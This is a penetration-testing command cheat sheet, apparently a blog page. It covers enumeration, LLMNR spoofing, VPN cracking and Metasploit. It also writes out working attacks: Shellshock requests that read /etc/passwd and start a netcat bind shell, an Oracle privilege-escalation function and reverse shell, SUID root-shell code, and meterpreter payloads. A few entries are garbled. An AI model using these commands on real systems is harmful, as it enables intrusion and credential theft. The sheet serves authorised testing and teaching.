cheat-sheet

Introduction

Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typical commands a third-party pen test company would run when performing a manual infrastructure penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration. For Web Application Penetration Testing, check out the Web Application Hackers Hand Book, it is excellent for both learning and reference.

If I’m missing any pen testing tools here give me a nudge on twitter.

Changelog

17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.

Pre-engagement

Network Configuration

Set IP Address

ifconfig eth0 xxx.xxx.xxx.xxx/24

Subnetting

ipcalc xxx.xxx.xxx.xxx/24 ipcalc xxx.xxx.xxx.xxx 255.255.255.0

OSINT

Passive Information Gathering

DNS

WHOIS enumeration

whois domain-name-here.com

Perform DNS IP Lookup

dig a domain-name-here.com @nameserver

Perform MX Record Lookup

dig mx domain-name-here.com @nameserver

Perform Zone Transfer with DIG

dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

Command Description nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer dig axfr blah.com @ns1.blah.com Linux DNS zone transfer

Email

Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing

Manual finger printing / banner grabbing.

Command Description nc -v 192.168.1.1 25 telnet 192.168.1.1 25 Basic versioning / finger printing via displayed banner

Banner grabbing with NC

nc TARGET-IP 80 GET / HTTP/1.1 Host: TARGET-IP User-Agent: Mozilla/5.0 Referrer: meh-domain <enter>

Active Information Gathering

DNS Bruteforce

DNSRecon

DNS Enumeration Kali - DNSRecon root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

Command Description nmap -v -sS -A -T4 target Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services nmap -v -sS -p--A -T4 target As above but scans all TCP ports (takes a lot longer) nmap -v -sU -sS -p- -A -T4 target As above but scans all TCP ports and UDP scan (takes even longer) nmap -v -p 445 --script=smb-check-vulns

--script-args=unsafe=1 192.168.1.X Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover ls /usr/share/nmap/scripts/* | grep ftp Search nmap scripts for keywords

I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning

nmap -sU TARGET

UDP Protocol Scanner

git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt

Other Host Discovery

Other methods of host discovery, that don’t use nmap…

Command Description netdiscover -r 192.168.1.0/24 Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site

Enumeration & Attacking Network Services

Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

Command Description nbtscan 192.168.1.0/24 Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain enum4linux -a target-ip Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Fingerprint SMB Version

smbclient -L //192.168.1.100

Find open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254

python /usr/share/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX

RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Metasploit module for RID cycling:

use auxiliary/scanner/smb/smb_lookupsid

Manual Null session testing:

Windows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131

NBTScan unixwiz

Install on Kali rolling:

apt-get install nbtscan-unixwiz nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

auxiliary/spoof/llmnr/llmnr_response auxiliary/spoof/nbns/nbns_response

Capture the hashes:

auxiliary/server/capture/smb auxiliary/server/capture/http_ntlm

You’ll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0

Run Responder.py for the whole engagement Run Responder.py for the length of the engagement while you're working on other attack vectors.

A number of SNMP enumeration tools.

Fix SNMP output values so they are human readable:

apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf

Command Description snmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1|

grep hrSWRunName|cut -d* * -f snmpenum -t 192.168.1.X onesixtyone -c names -i hosts SNMP enumeration

Idenitfy SNMPv3 servers with nmap:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

Use Metasploits Wordlist Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing list!).

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

RSH Enumeration

RSH Run Commands

rsh <target> <command>

Metasploit RSH Login Scanner

auxiliary/scanner/rservices/rsh_login

rusers Show Logged in Users

rusers -al 192.168.2.1

rusers scan whole Subnet

rlogin -l <user> <target>

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

finger @TARGET-IP

Finger a Specific Username

Solaris bug that shows all logged in users:

finger [email protected] SunOS: RPC services allow user enum: $ rusers # users logged onto LAN finger 'a b c d e f g h'@sunhost

rwho

Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

testssl.sh

Test all the things on a single host and output to a .html file:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

apt-get update apt-get dist-upgrade -y apt-get install openvas openvas-setup

Verify openvas is running using:

netstat -tulpn

Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle

Install oscanner:

apt-get install oscanner

Run oscanner:

oscanner -s 192.168.1.200 -P 1521

Fingerprint Oracle TNS Version

Install tnscmd10g:

apt-get install tnscmd10g

Fingerprint oracle tns:

tnscmd10g version -h TARGET nmap --script=oracle-tns-version

Brute force oracle user accounts

Identify default Oracle accounts:

nmap --script=oracle-sid-brute nmap --script=oracle-brute

Run nmap scripts against Oracle TNS:

nmap -p 1521 -A TARGET

Oracle Privilege Escalation

Requirements:

Oracle needs to be exposed on the network

A default account is in use like scott

Quick overview of how this works:

Create the function Create an index on table SYS.DUAL The index we just created executes our function SCOTT.DBA_X The function will be executed by SYS user (as that’s the user that owns the table). Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:

nmap --script=oracle-sid-brute nmap --script=oracle-brute

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:

SQL> select * from session_privs; SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid curren_user is pragma autonomous_transaction; begin execute immediate 'grant dba to user1 identified by pass1'; commit; return 'FOO'; end;

Oracle priv esc and obtain DBA access:

Run netcat: netcat -nvlp 443 code>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));

Run the exploit with a select query:

SQL> Select * from session_privs;

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Remove the exploit using:

drop index exploit_1337;

Get Oracle Reverse os-shell:

begin dbms_scheduler.create_job( job_name => 'MEH1337',job_type => 'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date => SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE); dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP'); dbms_scheduler.set_job_argument_value('rev_shell', 2, '443'); dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e'); dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash'); dbms_scheduler.enable('rev_shell'); end;

MSSQL

Enumeration / Discovery:

Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping

Use MS SQL Servers Browse For More Try using "Browse for More" via MS SQL Server Management Studio

Bruteforce MSSQL Login

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

Network

Plink.exe Tunnel

PuTTY Link tunnel

Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

Pivoting

SSH Pivoting

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1011 -p 22 [email protected]

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

Operating System TTL Size Windows 128 Linux 64 Solaris 255 Cisco / Network 255

IPv4 Cheat Sheets

Classful IP Ranges

E.g Class A,B,C (depreciated)

Class IP Address Range Class A IP Address Range 0.0.0.0 - 127.255.255.255 Class B IP Address Range 128.0.0.0 - 191.255.255.255 Class C IP Address Range 192.0.0.0 - 223.255.255.255 Class D IP Address Range 224.0.0.0 - 239.255.255.255 Class E IP Address Range 240.0.0.0 - 255.255.255.255

IPv4 Private Address Ranges

Class Range Class A Private Address Range 10.0.0.0 - 10.255.255.255 Class B Private Address Range 172.16.0.0 - 172.31.255.255 Class C Private Address Range 192.168.0.0 - 192.168.255.255 127.0.0.0 - 127.255.255.255

IPv4 Subnet Cheat Sheet

Subnet cheat sheet, not really realted to pen testing but a useful reference.

CIDR Decimal Mask Number of Hosts /31 255.255.255.254 1 Host /30 255.255.255.252 2 Hosts /29 255.255.255.249 6 Hosts /28 255.255.255.240 14 Hosts /27 255.255.255.224 30 Hosts /26 255.255.255.192 62 Hosts /25 255.255.255.128 126 Hosts /24 255.255.255.0 254 Hosts /23 255.255.254.0 512 Host /22 255.255.252.0 1022 Hosts /21 255.255.248.0 2046 Hosts /20 255.255.240.0 4094 Hosts /19 255.255.224.0 8190 Hosts /18 255.255.192.0 16382 Hosts /17 255.255.128.0 32766 Hosts /16 255.255.0.0 65534 Hosts /15 255.254.0.0 131070 Hosts /14 255.252.0.0 262142 Hosts /13 255.248.0.0 524286 Hosts /12 255.240.0.0 1048674 Hosts /11 255.224.0.0 2097150 Hosts /10 255.192.0.0 4194302 Hosts /9 255.128.0.0 8388606 Hosts /8 255.0.0.0 16777214 Hosts

VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh

Identify VPN servers:

./udp-protocol-scanner.pl -p ike TARGET(s)

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

pip install pyip git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE Aggressive Mode PSK Cracking

Identify VPN Servers Enumerate with IKEForce to obtain the group ID Use ike-scan to capture the PSK hash from the IKE endpoint Use psk-crack to crack the hash

Step 1: Idenitfy IKE Servers

./udp-protocol-scanner.pl -p ike SUBNET/24

Step 2: Enumerate group name with IKEForce

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Step 3: Use ike-scan to capture the PSK hash

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

Step 4: Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

Some more advanced psk-crack options below:

pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S)

PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS Tunneling

Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.

Attacking Machine

Installtion:

apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install

Run dnscat2:

ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422

Target Machine:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server_ip>

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

Command Description searchsploit windows 2003 | grep -i local Search exploit-db for exploit, in this example windows 2003 + local esc site:exploit-db.com exploit kernel <= 3 Use google to search exploit-db.com for exploits grep -R "W7" /usr/share/metasploit-framework

/modules/exploit/windows/* Search metasploit modules using grep - msf search sucks a bit

Searching for Exploits

Install local copy of exploit-db:

searchsploit –u searchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit) gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r

User-Agent: () { :;}; echo \$(</etc/passwd)\r

Host: vulnerable\r

Connection: close\r

\r

" | nc TARGET 80

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\r

User-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r

Host: vulnerable\r

Connection: close\r

\r

" | nc TARGET 80

Shell Shock reverse Shell

nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Command Description python -m SimpleHTTPServer 80 Run a basic http server, great for serving up shells etc python3 -m http.server Run a basic Python3 http server, great for serving up shells etc ruby -rwebrick -e "WEBrick::HTTPServer.new

(:Port => 80, :DocumentRoot => Dir.pwd).start" Run a ruby webrick basic http server php -S 0.0.0.0:80 Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

Command Description mount 192.168.1.1:/vol/share /mnt/nfs Mount NFS share to /mnt/nfs mount -t cifs -o username=user,password=pass

,domain=blah //192.168.1.X/share-name /mnt/cifs Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history) net use Z: \\win-server\share password

/user:domain\janedoe /savecred /p:no Mount a Windows share on Windows from the command line apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing SMB shares

HTTP / HTTPS Webserver Enumeration

Command Description nikto -h 192.168.1.1 Perform a nikto scan against target dirbuster Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

Command Description tcpdump tcp port 80 -w output.pcap -i eth0 tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

Command Description python /usr/share/doc/python-impacket-doc/examples

/samrdump.py 192.168.XXX.XXX Enumerate users from SMB ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

Command Description snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25

|cut -d” “ -f4 Enmerate users from SNMP python /usr/share/doc/python-impacket-doc/examples/

samrdump.py SNMP 192.168.X.XXX Enmerate users from SNMP nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt

(then grep) Search for SNMP servers with nmap, grepable output

Passwords

Wordlists

Command Description /usr/share/wordlists Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

Command Description hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f

192.168.X.XXX ftp -V Hydra FTP brute force

Hydra POP3 Brute Force

Command Description hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f

192.168.X.XXX pop3 -V Hydra POP3 brute force

Hydra SMTP Brute Force

Command Description hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V Hydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

Password cracking penetration testing tools.

John The Ripper - JTR

Command Description john --wordlist=/usr/share/wordlists/rockyou.txt hashes JTR password cracking john --format=descrypt --wordlist

/usr/share/wordlists/rockyou.txt hash.txt JTR forced descrypt cracking with wordlist john --format=descrypt hash --show JTR forced descrypt brute force cracking

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Command Description process.h, string.h, winbase.h, windows.h, winsock2.h Windows exploit code arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,

sys/sockt.h, sys/types.h, unistd.h Linux exploit code

Build Exploit GCC

Compile exploit gcc.

Command Description gcc -o exploit exploit.c Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Command Description gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

Command Description i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main ( void ){ setresuid ( 0 , 0 , 0 ); system ( "/bin/bash" ); }

SUID C Shell for /bin/sh

int main ( void ){ setresuid ( 0 , 0 , 0 ); system ( "/bin/sh" ); }

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python - c 'import pty;pty.spawn("/bin/bash")'

echo os.system ( '/bin/bash' )

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec " /bin/sh "; perl — e ' exec "/bin/sh"; '

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute ( '/bin/sh' )

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

! sh

Metasploit Cheat Sheet

A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Command Description set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload

Windows VNC Meterpreter payload

Command Description set payload windows/vncinject/reverse_tcp set ViewOnly false Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

Command Description set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Command Description upload file c:\\windows Meterpreter upload file to Windows target download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target execute -f c:\\windows\temp\exploit.exe Meterpreter run .exe on target - handy for executing uploaded exploits execute -f cmd -c Creates new channel with cmd shell ps Meterpreter show processes shell Meterpreter get shell on the target getsystem Meterpreter attempts priviledge escalation the target hashdump Meterpreter attempts to dump the hashes on the target portfwd add –l 3389 –p 3389 –r target Meterpreter create port forward to target machine portfwd delete –l 3389 –p 3389 –r target Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

Command Description use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 Remote Exploit use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit use exploit/windows/smb/

ms09_050_smb2_negotiate_func_index MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

Command Description use exploit/windows/local/bypassuac Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

Command Description use auxiliary/scanner/http/dir_scanner Metasploit HTTP directory scanner use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS vulnerability scanner use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner use auxiliary/scanner/mysql/mysql_version Metasploit MSSQL Version Scanner use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

Metasploit Powershell Modules

Command Description use exploit/multi/script/web_delivery Metasploit powershell payload delivery module post/windows/manage/powershell/exec_powershell Metasploit upload and run powershell script through a session use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

Command Description run post/windows/gather/win_privs Metasploit show privileges of current user use post/windows/gather/credentials/gpp Metasploit grab GPP saved passwords load mimikatz -> wdigest Metasplit load Mimikatz run post/windows/gather/local_admin_search_enum Idenitfy other machines that the supplied domain user has administrative access to run post/windows/gather/smart_hashdump Automated dumping of sam file, tries to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII Character x00 Null Byte x08 BS x09 TAB x0a LF x0d CR x1b ESC x20 SPC x21 ! x22 " x23 # x24 $ x25 % x26 & x27 ` x28 ( x29 ) x2a * x2b + x2c , x2d - x2e . x2f / x30 0 x31 1 x32 2 x33 3 x34 4 x35 5 x36 6 x37 7 x38 8 x39 9 x3a : x3b ; x3c < x3d = x3e > x3f ? x40 @ x41 A x42 B x43 C x44 D x45 E x46 F x47 G x48 H x49 I x4a J x4b K x4c L x4d M x4e N x4f O x50 P x51 Q x52 R x53 S x54 T x55 U x56 V x57 W x58 X x59 Y x5a Z x5b [ x5c \ x5d ] x5e ^ x5f _ x60 ` x61 a x62 b x63 c x64 d x65 e x66 f x67 g x68 h x69 i x6a j x6b k x6c l x6d m x6e n x6f o x70 p x71 q x72 r x73 s x74 t x75 u x76 v x77 w x78 x x79 y x7a z

CISCO IOS Commands

A collection of useful Cisco IOS commands.

Command Description enable Enters enable mode conf t Short for, configure terminal (config)# interface fa0/0 Configure FastEthernet 0/0 (config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0 (config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0 (config-if)# line vty 0 4 Configure vty line (config-line)# login Cisco set telnet password (config-line)# password YOUR-PASSWORD Set telnet password # show running-config Show running config loaded in memory # show startup-config Show sartup config # show version show cisco IOS version # show session display open sessions # show ip interface Show network interfaces # show interface e0 Show detailed interface info # show ip route Show routes # show access-lists Show access lists # dir file systems Show available files # dir all-filesystems File information # dir /all SHow deleted files # terminal length 0 No limit on terminal output # copy running-config tftp Copys running config to tftp server # copy running-config startup-config Copy startup-config to running-config

Cryptography

Hash Lengths

Hash Size MD5 Hash Length 16 Bytes SHA-1 Hash Length 20 Bytes SHA-256 Hash Length 32 Bytes SHA-512 Hash Length 64 Bytes

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

Hash Example MD5 Hash Example 8743b52063cd84097a65d1633f5c74f5 MD5 $PASS:$SALT Example 01dfae6e5d4d90d9892622325959afbe:7050461 MD5 $SALT:$PASS f0fda58630310a6dd91a7d8f0a4ceda2:4225637426 SHA1 Hash Example b89eaac7e61417341b710b727768294d0e6a277b SHA1 $PASS:$SALT 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014 SHA1 $SALT:$PASS cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024 SHA-256 127e6fbfe24a750e72930c220a8e138275656b

8e5d8f48a98c3c92df2caba935 SHA-256 $PASS:$SALT c73d08de890479518ed60cf670d17faa26a4a7

1f995c1dcc978165399401a6c4 SHA-256 $SALT:$PASS eb368a2dfd38b405f014118c7d9747fcc97f4

f0ee75c05963cd9da6ee65ef498:560407001617 SHA-512 82a9dda829eb7f8ffe9fbe49e45d47d2dad9

664fbb7adf72492e3c81ebd3e29134d9bc

12212bf83c6840f10e8246b9db54a4

859b7ccd0123d86e5872c1e5082f SHA-512 $PASS:$SALT e5c3ede3e49fb86592fb03f471c35ba13e8

d89b8ab65142c9a8fdafb635fa2223c24e5

558fd9313e8995019dcbec1fb58414

6b7bb12685c7765fc8c0d51379fd SHA-512 $SALT:$PASS 976b451818634a1e2acba682da3fd6ef

a72adf8a7a08d7939550c244b237c72c7d4236754

4e826c0c83fe5c02f97c0373b6b1

386cc794bf0d21d2df01bb9c08a NTLM Hash Example b4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples

A mini SQLMap cheat sheet: